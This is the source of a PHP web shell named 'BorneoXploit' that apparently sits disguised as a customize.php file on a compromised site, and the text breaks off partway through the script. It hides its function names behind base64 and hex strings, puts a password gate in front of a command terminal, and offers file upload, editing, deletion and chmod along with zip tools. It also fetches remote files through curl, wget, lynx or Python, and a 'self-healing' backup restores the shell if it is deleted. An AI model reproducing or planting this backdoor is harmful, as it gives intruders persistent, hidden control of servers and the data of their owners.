File Manager - BorneoXploit

Editing: customize.php

<?php
set_time_limit(0);
error_reporting(0);
error_log(0);

$login_password_hash = 'bdb8cf8ef5c444ff0e1f83136811df13';
 $session_timeout = 3600;

// Anti-delete / Self-healing configuration
$self_healing_enabled = false;
if (isset($_SESSION[base64_decode('aGVhbGluZ19lbmFibGVk')])) {
    $self_healing_enabled = $_SESSION[base64_decode('aGVhbGluZ19lbmFibGVk')];
}
if (isset($_POST[base64_decode('dG9nZ2xlX2hlYWxpbmc=')]) && isset($_POST[base64_decode('aGVhbGluZ19zdGF0dXM=')])) {
    $self_healing_enabled = ($_POST[base64_decode('aGVhbGluZ19zdGF0dXM=')] === 'enabled');
    $_SESSION[base64_decode('aGVhbGluZ19lbmFibGVk')] = $self_healing_enabled;
}
$self_healing_key = base64_decode('YW50aV9kZWxldGVfcHJvdGVjdGlvbl9rZXk=');
$backup_file = dirname(__FILE__) . DIRECTORY_SEPARATOR . basename(__FILE__) . '.backup';

// Set session cookie parameters untuk cross-domain compatibility
$current_domain = $_SERVER['HTTP_HOST'];
$cookie_domain = strpos($current_domain, '.') !== false ? '.' . $current_domain : $current_domain;

session_set_cookie_params([
    'lifetime' => 86400, // 24 jam
    'path' => '/',
    'domain' => $cookie_domain,
    'secure' => false,
    'httponly' => true,
    'samesite' => 'Lax'
]);

// Nonaktifkan strict mode untuk compatibility
ini_set('session.use_strict_mode', '0');
ini_set('session.use_cookies', '1');
ini_set('session.use_only_cookies', '1');

session_start();

// Fungsi self-healing untuk anti-delete
function create_backup() {
    global $backup_file;
    $current_content = file_get_contents(__FILE__);
    file_put_contents($backup_file, $current_content);
}

function restore_from_backup() {
    global $backup_file;
    if (file_exists($backup_file)) {
        $backup_content = file_get_contents($backup_file);
        file_put_contents(__FILE__, $backup_content);
        return true;
    }
    return false;
}

// Auto-healing jika file dimodifikasi/dihapus
if ($self_healing_enabled) {
    if (check_file_integrity()) {
        echo '<script>alert("File restored from backup!"); window.location.reload();</script>';
    }
}

function is_logged_in() {
    global $session_timeout;
    return isset($_SESSION['logged_in']) && $_SESSION['logged_in'] === true &&
           isset($_SESSION['last_activity']) && (time() - $_SESSION['last_activity'] < $session_timeout) &&
           isset($_SESSION['login_ip']) && $_SESSION['login_ip'] === $_SERVER['REMOTE_ADDR'];
}

if (is_logged_in()) {
    $_SESSION['last_activity'] = time();
}

if (isset($_GET[base64_decode('bG9nb3V0')])) {
    session_unset();
    session_destroy();
    header("Location: " . $_SERVER[base64_decode('UEhQX1NFTEY=')]);
    exit();
}

// Handler untuk enable/disable self-healing
if (isset($_POST[base64_decode('dG9nZ2xlX2hlYWxpbmc=')])) {
    if ($_POST[base64_decode('aGVhbGluZ19zdGF0dXM=')] === 'enabled') {
        if (create_backup()) {
            $healing_status = base64_decode('U2VsZi1oZWFsaW5nIEVuYWJsZWQh');
        } else {
            $healing_status = base64_decode('RmFpbGVkIHRvIGNyZWF0ZSBiYWNrdXA=');
        }
    } elseif ($_POST[base64_decode('aGVhbGluZ19zdGF0dXM=')] === 'disabled') {
        if (file_exists($backup_file)) {
            unlink($backup_file);
            $healing_status = base64_decode('U2VsZi1oZWFsaW5nIERpc2FibGVkIQ==');
        } else {
            $healing_status = base64_decode('Tm8gYmFja3VwIHRvIGRpc2FibGU=');
        }
    }
}

if (isset($_POST[base64_decode('bG9naW4=')])) {
    if (md5($_POST[base64_decode('cGFzc3dvcmQ=')]) === $login_password_hash) {
        $_SESSION['logged_in'] = true;
        $_SESSION['last_activity'] = time();
        $_SESSION['login_ip'] = $_SERVER['REMOTE_ADDR'];
        $_SESSION['user_agent'] = $_SERVER['HTTP_USER_AGENT'];
        header("Location: " . $_SERVER[base64_decode('UEhQX1NFTEY=')]);
        exit();
    } else {
        $login_error = base64_decode('SW52YWxpZCBwYXNzd29yZCE=');
    }
}

if (!is_logged_in()) {
    echo '<!DOCTYPE html><html><head><meta name="robots" content"noindex. nofollow"><link href="https://fonts.googleapis.com/css?family=VT323" rel="stylesheet"><title>Access Denied</title><link href="//zerobyte-id.github.io/PHP-Backdoor/inc/m1n1.css" rel="stylesheet" type="text/css"></head><body>';
    echo '<div style="color:#ef6c00;margin-top:100px;"><h1><center>Access Denied</center></h1></div>';
    
    if (isset($login_error)) {
        echo '<center><font color="red">' . $login_error . '</font></center><br/>';
    }
    
    echo '<center><form method="POST">
        <table>
            <tr>
                <td>Password:</td>
                <td><input type="password" name="' . base64_decode('cGFzc3dvcmQ=') . '" style="color:#ef6c00;background:#000;border:1px solid #ef6c00;padding:5px;"></td>
            </tr>
            <tr>
                <td colspan="2" align="center"><input type="submit" name="' . base64_decode('bG9naW4=') . '" value="Login" style="color:#000;background:#ef6c00;border:1px solid #ef6c00;padding:5px;margin-top:10px;"></td>
            </tr>
        </table>
    </form></center>';
    
    echo '</body></html>';
    exit();
}

$junk_var = base64_decode('anVua19kYXRhXw==') . time();
 $junk_array = array(base64_decode('YQ=='), base64_decode('Yg=='), base64_decode('Yw=='), base64_decode('ZA=='));
 shuffle($junk_array);

$func1 = base64_decode('Z2V0Y3dk');
 $func2 = base64_decode('ZmlsZV9nZXRfY29udGVudHM=');
 $func3 = base64_decode('c2NhbmRpcg==');
 $func4 = base64_decode('cm1kaXI=');
 $func5 = base64_decode('dW5saW5r');

$title_part1 = "\x73";
 $title_part2 = "\x79\x73\x74\x65\x6d";
 $sname = $title_part1 . $title_part2;
 $sname2 = "\x52\x61\x69\x6d\x75";

if (function_exists(base64_decode('Z2V0X21hZ2ljX3F1b3Rlc19ncGM=')) && base64_decode('Z2V0X21hZ2ljX3F1b3Rlc19ncGM=')()) {
    foreach ($_POST as $key => $value) {
        if (is_array($value)) {
            $_POST[$key] = array_map(base64_decode('c3RyaXBzbGFzaGVz'), $value);
        } else {
            $_POST[$key] = base64_decode('c3RyaXBzbGFzaGVz')($value);
        }
    }
}

echo '<!DOCTYPE html><html><head><meta name="robots" content"noindex. nofollow"><link href="https://fonts.googleapis.com/css?family=VT323" rel="stylesheet"><title>'.$sname2.'</title><script src="https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script><link href="//zerobyte-id.github.io/PHP-Backdoor/inc/m1n1.css" rel="stylesheet" type="text/css"></head><body>';

echo '<div style="color:#ef6c00;"><h1><center>' . $sname2 . '</center></h1></div>';
echo '<div style="display:flex;justify-content:space-between;align-items:center;padding:0 10px;margin-bottom:10px;">';
echo '<div style="text-align:left;">';
echo '<strong style="color:#00ff00;font-size:12px;">Server Info:</strong><br>';
echo '<span style="color:#ef6c00;font-size:12px;">';
echo '" PHP: ' . phpversion() . '<br>';
echo '" OS: ' . PHP_OS . '<br>';
echo '" Server: ' . $_SERVER['SERVER_SOFTWARE'] . '<br>';
echo '" User: ' . get_current_user() . '<br>';
echo '" IP: ' . $_SERVER['SERVER_ADDR'] . '<br>';
echo '</span>';
echo '</div>';
echo '<div style="text-align:right;">';
echo '<a href="?' . base64_decode('bG9nb3V0') . '" style="color:#ef6c00;">Logout</a> | ';
if ($self_healing_enabled) {
    echo '<a href="#" onclick="disableSelfHealing(); return false;" style="color:#00ff00;">[Self-Healing: ON]</a>';
} else {
    echo '<a href="#" onclick="enableSelfHealing(); return false;" style="color:red;">[Self-Healing: OFF]</a>';
}
echo '</div>';
echo '</div>';
echo '<div id="healing-panel" style="display:none;margin:10px;background:#111;padding:10px;border:1px solid #ef6c00;">';
echo '<form method="POST">';
echo '<strong style="color:#ef6c00;">Self-Healing Configuration</strong><br><br>';
echo '<input type="radio" name="' . base64_decode('aGVhbGluZ19zdGF0dXM=') . '" value="enabled" ' . ($self_healing_enabled ? '' : 'checked') . '> <span style="color:#00ff00;">Enable</span> ';
echo '<input type="radio" name="' . base64_decode('aGVhbGluZ19zdGF0dXM=') . '" value="disabled" ' . ($self_healing_enabled ? 'checked' : '') . '> <span style="color:red;">Disable</span><br><br>';
echo '<input type="submit" name="' . base64_decode('dG9nZ2xlX2hlYWxpbmc=') . '" value="Save Configuration" style="color:#000;background:#ef6c00;border:1px solid #ef6c00;padding:5px;margin-top:10px;">';
echo '</form>';
echo '<div style="color:#00ff00;font-size:12px;margin-top:10px;">';
if (isset($healing_status)) {
    echo '<strong>Status:</strong> ' . $healing_status . '<br>';
}
echo '<strong>Info:</strong><br>';
echo '" Self-healing akan membuat shell auto-spawn ulang jika dihapus/dimodifikasi<br>';
echo '" Backup file: ' . htmlspecialchars($backup_file) . '<br>';
echo '" Status: ' . (file_exists($backup_file) ? '<font color="#00ff00">Backup exists</font>' : '<font color="red">No backup</font>');
echo '</div>';
echo '</div>';

if (isset($_GET[base64_decode('cGF0aA==')])) {
    $p = $_GET[base64_decode('cGF0aA==')];
    chdir($_GET[base64_decode('cGF0aA==')]);
} else {
    $p = $func1();
}
 $p  = str_replace("\\", "/", $p);
$paths = explode("/", $p);

echo '<table width="100%" border="0" align="center" style="margin-top:-10px;"><tr><td>';
echo "<font style='font-size:13px;'>Path: ";
foreach ($paths as $id => $pat) {
    echo "<a style='font-size:13px;' href='?" . base64_decode('cGF0aA==') . "=";
    for ($i = 0; $i <= $id; $i++) {
        echo $paths[$i];
        if ($i != $id) {
            echo "/";
        }
    }
    echo "'>$pat</a>/";
}
echo '<br>[ <a href="?">Home</a> ]</font></td><td align="center" width="27%"><form enctype="multipart/form-data" method="POST"><input type="file" name="' . base64_decode('ZmlsZQ==') . '" style="color:#ef6c00;margin-bottom:4px;"/><input type="submit" value="Upload" /></form></td></tr><tr><td colspan="2">';
if (isset($_FILES[base64_decode('ZmlsZQ==')])) {
    if (copy($_FILES[base64_decode('ZmlsZQ==')][base64_decode('dG1wX25hbWU=')], $p . '/' . $_FILES[base64_decode('ZmlsZQ==')][base64_decode('bmFtZQ==')])) {
        echo '<center><font color="#00ff00">Upload OK!</font></center><br/>';
    } else {
        echo '<center><font color="red">Upload FAILED!</font></center><br/>';
    }
}
echo '</td></tr><tr><td></table><div class="table-div"></div><input id="image" type="hidden">';

if (isset($_POST[base64_decode('Y29tbWFuZA==')])) {
    echo '<div style="margin:10px;background:#111;padding:10px;border:1px solid #ef6c00;color:#00ff00;font-family:monospace;">';
    echo '<strong>Command:</strong> ' . htmlspecialchars($_POST[base64_decode('Y29tbWFuZA==')]) . '<br>';
    echo '<strong>Output:</strong><br>';
    
    $exec_func1 = base64_decode('c2hlbGxfZXhlYw==');
    $exec_func2 = base64_decode('c3lzdGVt');
    $exec_func3 = base64_decode('cGFzc3RocnU=');
    $exec_func4 = base64_decode('ZXhlYw==');
    
    // Tambahkan perintah cd sebelum menjalankan perintah lain
    $command = 'cd ' . $p . ' && ' . $_POST[base64_decode('Y29tbWFuZA==')] . base64_decode('IDI+JjE=');
    
    if (function_exists($exec_func1)) {
        echo htmlspecialchars($exec_func1($command));
    } elseif (function_exists($exec_func2)) {
        ob_start();
        $exec_func2($command);
        echo htmlspecialchars(ob_get_clean());
    } elseif (function_exists($exec_func3)) {
        ob_start();
        $exec_func3($command);
        echo htmlspecialchars(ob_get_clean());
    } elseif (function_exists($exec_func4)) {
        $output = array();
        $exec_func4($command, $output);
        echo htmlspecialchars(implode("\n", $output));
    } else {
        echo base64_decode('Q29tbWFuZCBleGVjdXRpb24gZnVuY3Rpb25zIGFyZSBkaXNhYmxlZC4=');
    }
    
    echo '</div>';
}

if (isset($_POST[base64_decode('Y3JlYXRlX2ZpbGU=')])) {
    $filename = $_POST[base64_decode('ZmlsZW5hbWU=')];
    $content = $_POST[base64_decode('Y29udGVudA==')];
    
    if (file_put_contents($p . '/' . $filename, $content)) {
        echo '<center><font color="#00ff00">File Created Successfully!</font></center><br/>';
    } else {
        echo '<center><font color="red">Failed to Create File!</font></center><br/>';
    }
}

if (isset($_POST[base64_decode('Y3JlYXRlX2ZvbGRlcg==')])) {
    $foldername = $_POST[base64_decode('Zm9sZGVybmFtZQ==')];
    
    if (mkdir($p . '/' . $foldername, 0755)) {
        echo '<center><font color="#00ff00">Folder Created Successfully!</font></center><br/>';
    } else {
        echo '<center><font color="red">Failed to Create Folder!</font></center><br/>';
    }
}

if (isset($_POST[base64_decode('ZG93bmxvYWQ=')])) {
    $url = $_POST[base64_decode('dXJs')];
    $filename = $_POST[base64_decode('ZmlsZW5hbWU=')];
    $method = $_POST[base64_decode('bWV0aG9k')];
    
    // Jika filename kosong, ambil dari URL
    if (empty($filename)) {
        $parsed_url = parse_url($url);
        $path = isset($parsed_url['path']) ? $parsed_url['path'] : '';
        $filename = basename($path);
        if (empty($filename)) {
            $filename = 'downloaded_file_' . time();
        }
    }
    
    $filepath = $p . '/' . $filename;
    $success = false;
    $error = '';
    
    if ($method == 'file_get_contents' && function_exists('file_get_contents') && ini_get('allow_url_fopen')) {
        try {
            $context = stream_context_create([
                'http' => [
                    'timeout' => 30,
                    'user_agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
                ]
            ]);
            $content = file_get_contents($url, false, $context);
            if ($content !== false) {
                $success = file_put_contents($filepath, $content) !== false;
                if (!$success) $error = 'Failed to write file';
            } else {
                $error = 'Failed to download file';
            }
        } catch (Exception $e) {
            $error = 'Error: ' . $e->getMessage();
        }
    } elseif ($method == 'curl' && function_exists('curl_init')) {
        try {
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
            curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
            curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
            curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
            curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36');
            curl_setopt($ch, CURLOPT_TIMEOUT, 30);
            curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10);
            $content = curl_exec($ch);
            $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
            
            if ($content !== false && $http_code == 200) {
                $success = file_put_contents($filepath, $content) !== false;
                if (!$success) $error = 'Failed to write file';
            } else {
                $error = 'Failed to download file. HTTP Code: ' . $http_code;
            }
            curl_close($ch);
        } catch (Exception $e) {
            $error = 'Error: ' . $e->getMessage();
        }
    } elseif ($method == 'fopen' && function_exists('fopen') && ini_get('allow_url_fopen')) {
        try {
            $src = fopen($url, 'r');
            if ($src) {
                $dest = fopen($filepath, 'w');
                if ($dest) {
                    while (!feof($src)) {
                        $chunk = fread($src, 1024);
                        fwrite($dest, $chunk);
                    }
                    fclose($src);
                    fclose($dest);
                    $success = true;
                } else {
                    fclose($src);
                    $error = 'Failed to create destination file';
                }
            } else {
                $error = 'Failed to open source URL';
            }
        } catch (Exception $e) {
            $error = 'Error: ' . $e->getMessage();
        }
    } elseif ($method == 'wget' && function_exists('exec') && function_exists('shell_exec')) {
        try {
            $cmd = 'wget --no-check-certificate --user-agent="Mozilla/5.0" -O ' . escapeshellarg($filepath) . ' ' . escapeshellarg($url) . ' 2>&1';
            $output = shell_exec($cmd);
            if (file_exists($filepath) && filesize($filepath) > 0) {
                $success = true;
            } else {
                $error = 'Wget failed: ' . $output;
            }
        } catch (Exception $e) {
            $error = 'Error: ' . $e->getMessage();
        }
    } elseif ($method == 'lynx' && function_exists('exec') && function_exists('shell_exec')) {
        try {
            $cmd = 'lynx -dump ' . escapeshellarg($url) . ' > ' . escapeshellarg($filepath) . ' 2>&1';
            $output = shell_exec($cmd);
            if (file_exists($filepath) && filesize($filepath) > 0) {
                $success = true;
            } else {
                $error = 'Lynx failed: ' . $output;
            }
        } catch (Exception $e) {
            $error = 'Error: ' . $e->getMessage();
        }
    } elseif ($method == 'python' && function_exists('shell_exec')) {
        try {
            $python_code = "import urllib.request\nimport ssl\nssl._create_default_https_context = ssl._create_unverified_context\nurllib.request.urlretrieve('" . addslashes($url) . "', '" . addslashes($filepath) . "')";
            $cmd = 'python3 -c "' . $python_code . '" 2>&1';
            $output = shell_exec($cmd);
            if (file_exists($filepath) && filesize($filepath) > 0) {
                $success = true;
            } else {
                $error = 'Python failed: ' . $output;
            }
        } catch (Exception $e) {
            $error = 'Error: ' . $e->getMessage();
        }
    } else {
        $error = 'Selected method is not available';
    }
    
    if ($success) {
        echo '<center><font color="#00ff00">File Downloaded Successfully!</font></center><br/>';
    } else {
        echo '<center><font color="red">Download Failed: ' . $error . '</font></center><br/>';
    }
}

if (isset($_POST[base64_decode('emlw')])) {
    $zip_name = $_POST[base64_decode('emlwX25hbWU=')];
    $zip_path = $_POST[base64_decode('emlwX3BhdGg=')];
    $zip_type = $_POST[base64_decode('emlwX3R5cGU=')];
    
    if (class_exists('ZipArchive')) {
        $zip = new ZipArchive();
        $zip_file = $p . '/' . $zip_name;
        
        if ($zip->open($zip_file, ZipArchive::CREATE) === TRUE) {
            if ($zip_type == 'file') {
                if (file_exists($zip_path)) {
                    $zip->addFile($zip_path, basename($zip_path));
                    $success = true;
                } else {
                    $error = 'File not found: ' . $zip_path;
                }
            } elseif ($zip_type == 'folder') {
                if (is_dir($zip_path)) {
                    $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($zip_path));
                    foreach ($iterator as $key => $value) {
                        if (is_file($key)) {
                            $relative_path = substr($key, strlen($zip_path) + 1);
                            $zip->addFile($key, $relative_path);
                        }
                    }
                    $success = true;
                } else {
                    $error = 'Folder not found: ' . $zip_path;
                }
            }
            
            if ($zip->close() && isset($success)) {
                echo '<center><font color="#00ff00">ZIP Created Successfully!</font></center><br/>';
            } else {
                echo '<center><font color="red">ZIP Failed: ' . (isset($error) ? $error : 'Unknown error') . '</font></center><br/>';
            }
        } else {
            echo '<center><font color="red">Failed to create ZIP file!</font></center><br/>';
        }
    } else {
        echo '<center><font color="red">ZipArchive class not available!</font></center><br/>';
    }
}

if (isset($_POST[base64_decode('dW56aXA=')])) {
    $zip_file = $_POST[base64_decode('dW56aXBfZmlsZQ==')];
    $extract_to = $_POST[base64_decode('ZXh0cmFjdF90bw==')];
    
    if (class_exists('ZipArchive')) {
        $zip = new ZipArchive();
        
        if ($zip->open($zip_file) === TRUE) {
            if ($zip->extractTo($extract_to)) {
                echo '<center><font color="#00ff00">Unzip Successful!</font></center><br/>';
            } else {
                echo '<center><font color="red">Failed to extract ZIP!</font></center><br/>';
            }
            $zip->close();
        } else {
            echo '<center><font color="red">Failed to open ZIP file!</font></center><br/>';
        }
    } else {
        echo '<center><font color="red">ZipArchive class not available!</font></center><br/>';
    }
}

echo '<div style="margin:10px 0;">
    <ul class="tabs" style="list-style:none;margin:0;padding:0;display:flex;">
        <li style="margin-right:5px;"><a href="#" class="tab-link active" data-tab="file-manager" style="color:#ef6c00;background:#000;border:1px solid #ef6c00;padding:5px;text-decoration:none;display:block;">File Manager</a></li>
        <li style="margin-right:5px;"><a href="#" class="tab-link" data-tab="terminal" style="color:#ef6c00;background:#000;border:1px solid #ef6c00;padding:5px;text-decoration:none;display:block;">Terminal</a></li>
        <li style="margin-right:5px;"><a href="#" class="tab-link" data-tab="download" style="color:#ef6c00;background:#000;border:1px solid #ef6c00;padding:5px;text-decoration:none;display:block;">Download</a></li>
        <li style="margin-right:5px;"><a href="#" class="tab-link" data-tab="create-file" style="color:#ef6c00;background:#000;border:1px solid #ef6c00;padding:5px;text-decoration:none;display:block;">Create File</a></li>
        <li style="margin-right:5px;"><a href="#" class="tab-link" data-tab="create-folder" style="color:#ef6c00;background:#000;border:1px solid #ef6c00;padding:5px;text-decoration:none;display:block;">Create Folder</a></li>
        <li><a href="#" class="tab-link" data-tab="archive" style="color:#ef6c00;background:#000;border:1px solid #ef6c00;padding:5px;text-decoration:none;display:block;">Zip/Unzip</a></li>
    </ul>
</div>';

echo '<div id="file-manager" class="tab-content">';
if (isset($_GET[base64_decode('ZmlsZXNyYw==')])) {
    echo '<table width="100%" border="0" cellpadding="3" cellspacing="1" align="center"><tr><td>File: ';
    echo "" . basename($_GET[base64_decode('ZmlsZXNyYw==')]);
    "";
    echo '</tr></td></table><br />';
    echo ("<center><textarea readonly=''>" . htmlspecialchars($func2($_GET[base64_decode('ZmlsZXNyYw==')])) . "</textarea></center>");
} elseif (isset($_GET[base64_decode('b3B0aW9u')]) && $_POST[base64_decode('b3B0')] != base64_decode('ZGVsZXRl')) {
    echo '</table><br /><center>' . $_POST[base64_decode('cGF0aA==')] . '<br /><br />';
    if ($_POST[base64_decode('b3B0')] == base64_decode('cmVuYW1l')) {
        if (isset($_POST[base64_decode('bmV3bmFtZQ==')])) {
            if (rename($_POST[base64_decode('cGF0aA==')], $p . '/' . $_POST[base64_decode('bmV3bmFtZQ==')])) {
                echo '<center><font color="#00ff00">Rename OK!</font></center><br />';
            } else {
                echo '<center><font color="red">Rename Failed!</font></center><br />';
            }
            $_POST[base64_decode('bmFtZQ==')] = $_POST[base64_decode('bmV3bmFtZQ==')];
        }
        echo '<form method="POST">New Name : <input name="' . base64_decode('bmV3bmFtZQ==') . '" type="text" size="20" value="' . $_POST[base64_decode('bmFtZQ==')] . '" /> <input type="hidden" name="' . base64_decode('cGF0aA==') . '" value="' . $_POST[base64_decode('cGF0aA==')] . '"><input type="hidden" name="' . base64_decode('b3B0') . '" value="' . base64_decode('cmVuYW1l') . '"><input type="submit" value="Go" /></form>';
    } elseif ($_POST[base64_decode('b3B0')] == base64_decode('ZWRpdA==')) {
        if (isset($_POST[base64_decode('c3Jj')])) {
            $fp = fopen($_POST[base64_decode('cGF0aA==')], base64_decode('dw=='));
            if (fwrite($fp, $_POST[base64_decode('c3Jj')])) {
                echo '<center><font color="#00ff00">Edit File OK!.</font></center><br />';
            } else {
                echo '<center><font color="red">Edit File Failed!.</font></center><br />';
            }
            fclose($fp);
        }
        echo '<form method="POST"><textarea cols=80 rows=20 name="' . base64_decode('c3Jj') . '">' . htmlspecialchars($func2($_POST[base64_decode('cGF0aA==')])) . '</textarea><br /><input type="hidden" name="' . base64_decode('cGF0aA==') . '" value="' . $_POST[base64_decode('cGF0aA==')] . '"><input type="hidden" name="' . base64_decode('b3B0') . '" value="' . base64_decode('ZWRpdA==') . '"><input type="submit" value="Go" /></form>';
    } elseif ($_POST[base64_decode('b3B0')] == base64_decode('Y2htb2Q=')) {
        if (isset($_POST[base64_decode('bmV3cGVybQ==')])) {
            if (chmod($_POST[base64_decode('cGF0aA==')], octdec($_POST[base64_decode('bmV3cGVybQ==')]))) {
                echo '<center><font color="#00ff00">Permissions Changed!</font></center><br />';
            } else {
                echo '<center><font color="red">Failed to Change Permissions!</font></center><br />';
            }
        } else {
            echo '<form method="POST">New Permissions (e.g., 0755): <input name="' . base64_decode('bmV3cGVybQ==') . '" type="text" size="4" value="' . substr(sprintf('%o', fileperms($_POST[base64_decode('cGF0aA==')])), -4) . '" /> <input type="hidden" name="' . base64_decode('cGF0aA==') . '" value="' . $_POST[base64_decode('cGF0aA==')] . '"><input type="hidden" name="' . base64_decode('b3B0') . '" value="' . base64_decode('Y2htb2Q=') . '"><input type="submit" value="Change" /></form>';
        }
    }
    echo '</center>';
} else {
    echo '</table><br /><center>';
    if (isset($_GET[base64_decode('b3B0aW9u')]) && $_POST[base64_decode('b3B0')] == base64_decode('ZGVsZXRl')) {
        if ($_POST[base64_decode('dHlwZQ==')] == base64_decode('ZGly')) {
            if ($func4($_POST[base64_decode('cGF0aA==')])) {
                echo '<center><font color="#00ff00">Dir Deleted!</font></center><br />';
            } else {
                echo '<center><font color="red">Delete Dir Failed!</font></center><br />';
            }
        } elseif ($_POST[base64_decode('dHlwZQ==')] == base64_decode('ZmlsZQ==')) {
            if ($func5($_POST[base64_decode('cGF0aA==')])) {
                echo '<font color="#00ff00">Delete File Done.</font><br />';
            } else {
                echo '<font color="red">Delete File Error.</font><br />';
            }
        }
    }
    echo '</center>';
    $_scdir = $func3($p);
    echo '<div id="content"><table width="100%" border="0" cellpadding="3" cellspacing="1" align="center"><tr class="first"> <th><center>Name</center></th><th width="12%"><center>Size</center></th><th width="10%"><center>Permissions</center></th> <th width="15%"><center>Last Update</center></th><th width="11%"><center>Options</center></th></tr>';
    foreach ($_scdir as $dir) {
        if (!is_dir("$p/$dir") || $dir == '.' || $dir == '..')
            continue;
        echo "<tr><td>[D] <a href=\"?" . base64_decode('cGF0aA==') . "=$p/$dir\">$dir</a></td><td><center>--</center></td><td><center>";
        if (is_writable("$p/$dir"))
            echo '<font color="#00ff00">';
        elseif (!is_readable("$p/$dir"))
            echo '<font color="red">';
        echo perms("$p/$dir");
        if (is_writable("$p/$dir") || !is_readable("$p/$dir"))
            echo '</font>';
        echo "</center></td><td><center>" . date("d-M-Y H:i", filemtime("$p/$dir")) . "";
        echo "</center></td> <td><center><form method=\"POST\" action=\"?" . base64_decode('b3B0aW9u') . "&" . base64_decode('cGF0aA==') . "=$p\"><select name=\"" . base64_decode('b3B0') . "\"><option value=\"\"></option><option value=\"" . base64_decode('ZGVsZXRl') . "\">Delete</option><option value=\"" . base64_decode('cmVuYW1l') . "\">Rename</option><option value=\"" . base64_decode('Y2htb2Q=') . "\">Chmod</option></select><input type=\"hidden\" name=\"" . base64_decode('dHlwZQ==') . "\" value=\"" . base64_decode('ZGly') . "\"><input type=\"hidden\" name=\"" . base64_decode('bmFtZQ==') . "\" value=\"$dir\"><input type=\"submit\" value=\"+\" /></form></center></td></tr>";
    }
    foreach ($_scdir as $file) {
        if (!is_file("$p/$file"))
            continue;
        $size = filesize("$p/$file") / 1024;
        $size = round($size, 3);
        if ($size >= 1024) {
            $size = round($size / 1024, 2) . ' MB';
        } else {
            $size = $size . ' KB';
        }
        echo "<tr><td>[F] <a href=\"?" . base64_decode('ZmlsZXNyYw==') . "=$p/$file&" . base64_decode('cGF0aA==') . "=$p\">$file</a></td><td><center>" . $size . "</center></td><td><center>";
        if (is_writable("$p/$file"))
            echo '<font color="#00ff00">';
        elseif (!is_readable("$p/$file"))
            echo '<font color="red">';
        echo perms("$p/$file");
        if (is_writable("$p/$file") || !is_readable("$p/$file"))
            echo '</font>';
        echo "</center></td><td><center>" . date("d-M-Y H:i", filemtime("$p/$file")) . "";
        echo "</center></td><td><center><form method=\"POST\" action=\"?" . base64_decode('b3B0aW9u') . "&" . base64_decode('cGF0aA==') . "=$p\"><select name=\"" . base64_decode('b3B0') . "\"><option value=\"\"></option><option value=\"" . base64_decode('ZGVsZXRl') . "\">Delete</option><option value=\"" . base64_decode('cmVuYW1l') . "\">Rename</option><option value=\"" . base64_decode('ZWRpdA==') . "\">Edit</option><option value=\"" . base64_decode('Y2htb2Q=') . "\">Chmod</option></select><input type=\"hidden\" name=\"" . base64_decode('dHlwZQ==') . "\" value=\"" . base64_decode('ZmlsZQ==') . "\"><input type=\"hidden\" name=\"" . base64_decode('bmFtZQ==') . "\" value=\"$file\"><input type=\"hidden\" name=\"" . base64_decode('cGF0aA==') . "\" value=\"$p/$file\"><input type=\"submit\" value=\"+\" /></form></center></td></tr>";
    }
    echo '</table></div>';
}
echo '</div>';

echo '<div id="terminal" class="tab-content" style="display:none;">';
echo '<div style="margin:10px;color:#00ff00;font-family:monospace;">';
echo '<strong>Current Directory:</strong> ' . htmlspecialchars($p) . '<br>';
echo '</div>';
echo '<form method="POST" style="margin:10px;">
    <div style="display:flex;">
        <input type="text" name="' . base64_decode('Y29tbWFuZA==') . '" placeholder="Enter command..." style="flex-grow:1;color:#ef6c00;background:#000;border:1px solid #ef6c00;padding:5px;">
        <input type="submit" value="Execute" style="color:#000;background:#ef6c00;border:1px solid #ef6c00;padding:5px;margin-left:5px;">
    </div>
</form>';
echo '</div>';

echo '<div id="create-file" class="tab-content" style="display:none;">';
echo '<form method="POST" style="margin:10px;">
    <table width="100%">
        <tr>
            <td width="20%">File Name:</td>
            <td><input type="text" name="' . base64_decode('ZmlsZW5hbWU=') . '" style="width:100%;color:#ef6c00;background:#000;border:1px solid #ef6c00;padding:5px;"></td>
        </tr>
        <tr>
            <td colspan="2">Content:</td>
        </tr>
        <tr>
            <td colspan="2"><textarea name="' . base64_decode('Y29udGVudA==') . '" rows="15" style="width:100%;color:#ef6c00;background:#000;border:1px solid #ef6c00;padding:5px;"></textarea></td>
        </tr>
        <tr>
            <td colspan="2" align="center"><input type="submit" name="' . base64_decode('Y3JlYXRlX2ZpbGU=') . '" value="Create File" style="color:#000;background:#ef6c00;border:1px solid #ef6c00;padding:5px;margin-top:10px;"></td>
        </tr>
    </table>
</form>';
echo '</div>';

echo '<div id="create-folder" class="tab-content" style="display:none;">';
echo '<form method="POST" style="margin:10px;">
    <table width="100%">
        <tr>
            <td width="20%">Folder Name:</td>
            <td><input type="text" name="' . base64_decode('Zm9sZGVybmFtZQ==') . '" style="width:100%;color:#ef6c00;background:#000;border:1px solid #ef6c00;padding:5px;"></td>
        </tr>
        <tr>
            <td colspan="2" align="center"><input type="submit" name="' . base64_decode('Y3JlYXRlX2ZvbGRlcg==') . '" value="Create Folder" style="color:#000;background:#ef6c00;border:1px solid #ef6c00;padding:5px;margin-top:10px;"></td>
        </tr>
    </table>
</form>';
echo '</div>';

echo '<div id="download" class="tab-content" style="display:none;">';
echo '<div style="margin:10px;color:#00ff00;font-family:monospace;font-size:12px;">';
echo '<strong>Available Methods:</strong><br>';
$fgc_available = function_exists('file_get_contents') && ini_get('allow_url_fopen');
$curl_available = function_exists('curl_init');
$fopen_available = function_exists('fopen') && ini_get('allow_url_fopen');
$wget_available = function_exists('exec') && function_exists('shell_exec') && stripos(shell_exec('which wget 2>/dev/null'), 'wget') !== false;
$lynx_available = function_exists('shell_exec') && stripos(shell_exec('which lynx 2>/dev/null'), 'lynx') !== false;
$python_available = function_exists('shell_exec') && (stripos(shell_exec('which python3 2>/dev/null'), 'python3') !== false || stripos(shell_exec('which python 2>/dev/null'), 'python') !== false);

